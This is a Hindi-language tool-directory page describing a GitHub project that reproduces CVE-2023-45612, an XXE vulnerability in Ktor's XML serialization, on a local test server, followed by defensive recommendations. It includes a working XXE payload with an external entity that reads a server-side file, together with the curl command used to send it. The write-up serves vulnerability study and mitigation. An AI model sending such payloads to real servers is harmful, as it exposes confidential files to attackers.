Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2023-45612_exploit — एक उच्च गंभीरता वाली सुरक्षा समस्या का पुनरुत्पादन जो XXE (XML बाहरी इकाई) हमलों को Ktor के XML क्रमांकन पर अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/clemfavre/cve-2023-45612_exploit
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणलर्निंग और शिक्षा
GitHubclemfavre/cve-2023-45612_exploit

cve-2023-45612_exploit

एक उच्च गंभीरता वाली सुरक्षा समस्या का पुनरुत्पादन जो XXE (XML बाहरी इकाई) हमलों को Ktor के XML क्रमांकन पर अनुमति देता है।

रिपॉजिटरी देखें
1011 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

cve-2023-45612_exploit

CVE-2023-45612 एक उच्च गंभीरता वाली सुरक्षा समस्या है जो Ktor के XML सीरियलाइज़ेशन पर XXE (XML eXternal Entity) हमलों की अनुमति देती है, जिसे 2023 में पैच किया गया था।

सुरक्षा समस्या का पुनरुत्पादन

नीचे विस्तृत तरीका दिया गया है कि मैंने समस्या को कैसे पुन: उत्पन्न किया।

IntelliJ IDEA प्रोजेक्ट

पहले, हमें एक ऐसे सर्वर की आवश्यकता है जो XML फ़ाइलों को प्रोसेस करेगा। हम IntelliJ IDEA से एक Kotlin प्रोजेक्ट बनाते हैं और आवश्यक Ktor निर्भरताओं और सीरियलाइज़ेशन प्लगइन का उपयोग करने के लिए build.gradle.kts को संशोधित करते हैं। हमारी रुचि की निर्भरता io.ktor:ktor-serialization-kotlinx-xml है। संस्करण 2.3.4 कमजोर है, और संस्करण 2.3.5 पैच किया गया है।

गुप्त फ़ाइल

फिर, हम प्रोजेक्ट की जड़ में sensitive_infos.txt नामक एक फ़ाइल जोड़ते हैं जो निजी रखी जाएगी और सर्वर के बाहर से सुलभ नहीं होगी। इस फ़ाइल की सामग्री है "This informations should be secret and not accessible by sending a .xmf file."।

सर्वर

फिर, हम Main.kt में सर्वर को लागू करते हैं। यह क्लाइंट द्वारा भेजे गए XML को Person वर्ग के String (name) में सीरियलाइज़ करके प्रोसेस करने के लिए डिज़ाइन किया गया है। फिर सर्वर उस नाम की पुष्टि करता है जो क्लाइंट ने अभी भेजा है। सर्वर शुरू करने के बाद, हम सामान्य और दुर्भावनापूर्ण उपयोग का परीक्षण कर सकते हैं:

सामान्य उपयोग

क्लाइंट अपने नाम के साथ एक XML फ़ाइल भेजता है और उसे अभी भेजे गए नाम के साथ एक पुष्टि मिलती है। हम निम्नलिखित XML फ़ाइल के साथ इसका परीक्षण कर सकते हैं:

<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
     <name>Clément</name>
</manifest>

और कमांड:

curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml

दुर्भावनापूर्ण उपयोग

क्लाइंट एक एंटिटी को URI के रूप में एक प्रतिस्थापन स्ट्रिंग प्रदान करके परिभाषित करता है और दुर्भावनापूर्ण XML फ़ाइल भेजता है, फिर सर्वर द्वारा सुलभ एक गुप्त फ़ाइल की सामग्री प्राप्त करता है। मैं नीचे एक फ़ाइल (sensitive_infos.txt) के साथ एक उदाहरण दिखाता हूँ जो सर्वर की जड़ में है, लेकिन ध्यान दें कि आप संभवतः अन्य फ़ाइलों तक भी पहुँच सकते हैं (यदि XML पार्सर उनकी सामग्री तक पहुँच सकता है) उदाहरण के लिए file:/// यदि सर्वर linux पर चलता है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
     <name>&exploit;</name>
</manifest>

और कमांड

curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml

सर्वर उत्तर देता है "Name sent: This informations should be secret and not accessible by sending a .xmf file.", जो साबित करता है कि हमने वास्तव में गुप्त जानकारी तक पहुँच प्राप्त कर ली है और इसलिए एक कमजोरी है।

वैसे, build.gradle.kts में संस्करण को 2.3.4 से 2.3.5 में बदलने से समस्या हल हो जाती है और सर्वर दुर्भावनापूर्ण इनपुट के लिए केवल "Name sent" का उत्तर देता है, जबकि सामान्य इनपुट के लिए सामान्य उत्तर बनाए रखता है, जो हमें पुष्टि करता है कि सुरक्षा समस्या 2.3.5 में हल हो गई है।

दिशानिर्देश जो डेवलपर्स को भविष्य में समान समस्याओं को रोकने में मदद करेंगे

स्वच्छता (Sanitization)

उपयोगकर्ता पर कभी भरोसा न करें! Ktor पार्सर इनपुट को स्वच्छ कर सकता है, उदाहरण के लिए सभी XML इनपुट फ़ाइलों को अस्वीकार करके जिनमें कोई एंटिटी हो।

बाहरी एंटिटी को अक्षम करें

उपयोगकर्ता के लिए कम प्रतिबंधात्मक, Ktor डिफ़ॉल्ट रूप से बाहरी एंटिटी को अक्षम कर सकता है, external-general-entities और external-parameter-entities सुविधाओं को false पर सेट करके, ताकि उपयोगकर्ता अभी भी अपनी XML फ़ाइल में एक एंटिटी घोषित कर सके, लेकिन यह एंटिटी अब किसी बाहरी संसाधन तक नहीं पहुँच सकती।

परीक्षण

Ktor के CI/CD में XXE हमले के परीक्षण शामिल करें ताकि यह सुनिश्चित हो सके कि कोड उनके प्रति कमजोर नहीं है।

टूल डाउनलोड करें